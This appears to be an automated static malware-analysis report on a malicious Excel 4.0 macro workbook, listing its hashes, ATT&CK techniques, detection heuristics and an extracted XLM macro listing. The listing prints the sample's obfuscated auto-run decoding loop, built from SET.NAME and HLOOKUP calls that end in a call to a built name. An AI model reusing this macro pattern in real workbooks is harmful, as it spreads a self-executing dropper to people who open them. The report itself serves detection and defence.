Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cbca4f337a3f36d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:52 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 96665d8d956564a0f54d3f5fe2528f29 SHA-1: 3ecf4e86ff4a70ce37fd3a330588fa0831efaf5c SHA-256: 3cbca4f337a3f36d3b4d99d33285f252c3643f87b191185d084a322c38b5df48
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Static analysis detected an Auto_Open defined name, indicating that macros will execute automatically upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely leading to a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6805 bytes
SHA-256: 8384f0eda18f19cc26568526c8f8135e09b9c7cbb005de3a99969495f0e3f9f1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oNqKJWgp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F182 
' 0018     27 LABEL : Cell Value, String Constant - BprJzVyqEvwu len=0 
' 0018     22 LABEL : Cell Value, String Constant - buQfhfv len=0 
' 0018     22 LABEL : Cell Value, String Constant - dIPuagT len=0 
' 0018     21 LABEL : Cell Value, String Constant - fUtHJh len=0 
' 0018     22 LABEL : Cell Value, String Constant - fXqrjcY len=0 
' 0018     22 LABEL : Cell Value, String Constant - GydaNUi len=0 
' 0018     21 LABEL : Cell Value, String Constant - HIfhSK len=0 
' 0018     27 LABEL : Cell Value, String Constant - JdlgTuNVPupg len=0 
' 0018     26 LABEL : Cell Value, String Constant - KdvraDtCiFk len=0 
' 0018     25 LABEL : Cell Value, String Constant - KlFWsRFvWq len=0 
' 0018     27 LABEL : Cell Value, String Constant - leGgoTDgVMPq len=0 
' 0018     23 LABEL : Cell Value, String Constant - loOCkwzs len=0 
' 0018     24 LABEL : Cell Value, String Constant - OUyXytAAK len=0 
' 0018     27 LABEL : Cell Value, String Constant - OVCpAzsIvwaX len=0 
' 0018     27 LABEL : Cell Value, String Constant - qerumwDIdqLz len=0 
' 0018     27 LABEL : Cell Value, String Constant - RiOwTGdmhjZf len=0 
' 0018     21 LABEL : Cell Value, String Constant - SyMjGv len=0 
' 0018     27 LABEL : Cell Value, String Constant - SZRFnVqLXxHx len=0 
' 0018     25 LABEL : Cell Value, String Constant - wLOQRszGqM len=0 
' 0018     21 LABEL : Cell Value, String Constant - xTQotq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oNqKJWgp,T59,"",-38.00000000000000000000
'  oNqKJWgp,T60,"",-952.00000000000000000000
'  oNqKJWgp,T61,"",-880.00000000000000000000
'  oNqKJWgp,T62,"",-452.00000000000000000000
'  oNqKJWgp,T63,"",-567.00000000000000000000
'  oNqKJWgp,T64,"",-656.00000000000000000000
'  oNqKJWgp,F91,"SET.NAME("buQfhfv",0+VALUE("0"))",""
'  oNqKJWgp,F94,"SET.NAME("leGgoTDgVMPq",buQfhfv)",""
'  oNqKJWgp,F99,"SET.NAME("BprJzVyqEvwu",buQfhfv)",""
'  oNqKJWgp,F101,"SET.NAME("OUyXytAAK",COUNTA(wLOQRszGqM))",""
'  oNqKJWgp,F104,"SET.NAME("HIfhSK",COUNTA(loOCkwzs))",""
'  oNqKJWgp,F108,[],""
'  oNqKJWgp,F113,"SET.NAME("SZRFnVqLXxHx","")",""
'  oNqKJWgp,F118,"leGgoTDgVMPq",""
'  oNqKJWgp,F121,"SET.NAME("KlFWsRFvWq",HLOOKUP("*",wLOQRszGqM,leGgoTDgVMPq,FALSE))",""
'  oNqKJWgp,F123,"fUtHJh",""
'  oNqKJWgp,F125,"SET.NAME("KdvraDtCiFk",buQfhfv)",""
'  oNqKJWgp,F129,[],""
'  oNqKJWgp,F133,"KdvraDtCiFk",""
'  oNqKJWgp,F138,"qerumwDIdqLz",""
'  oNqKJWgp,F140,"SyMjGv",""
'  oNqKJWgp,F143,"RiOwTGdmhjZf",""
'  oNqKJWgp,F146,"SET.NAME("fXqrjcY",VALUE(HLOOKUP("*",loOCkwzs,RiOwTGdmhjZf,FALSE)))",""
'  oNqKJWgp,F151,"OVCpAzsIvwaX",""
'  oNqKJWgp,F155,"SZRFnVqLXxHx",""
'  oNqKJWgp,F159,"BprJzVyqEvwu",""
'  oNqKJWgp,F161,NEXT(),""
'  oNqKJWgp,F163,"dIPuagT",""
'  oNqKJWgp,F167,[],""
'  oNqKJWgp,F169,"xTQotq",""
'  oNqKJWgp,F174,NEXT(),""
'  oNqKJWgp,F179,RETURN(),""
'  oNqKJWgp,F207,"SET.NAME("JdlgTuNVPupg",F91)",""
'  oNqKJWgp,F211,"wLOQRszGqM",""
'  oNqKJWgp,F216,"SET.NAME("loOCkwzs",R80C12)",""
'  oNqKJWgp,F220,"SET.NAME("xTQotq",229)",""
'  oNqKJWgp,F224,"SET.NAME("GydaNUi",6)",""
'  oNqKJWgp,F228,JdlgTuNVPupg(),""
'  oNqKJWgp,F229,HALT(),""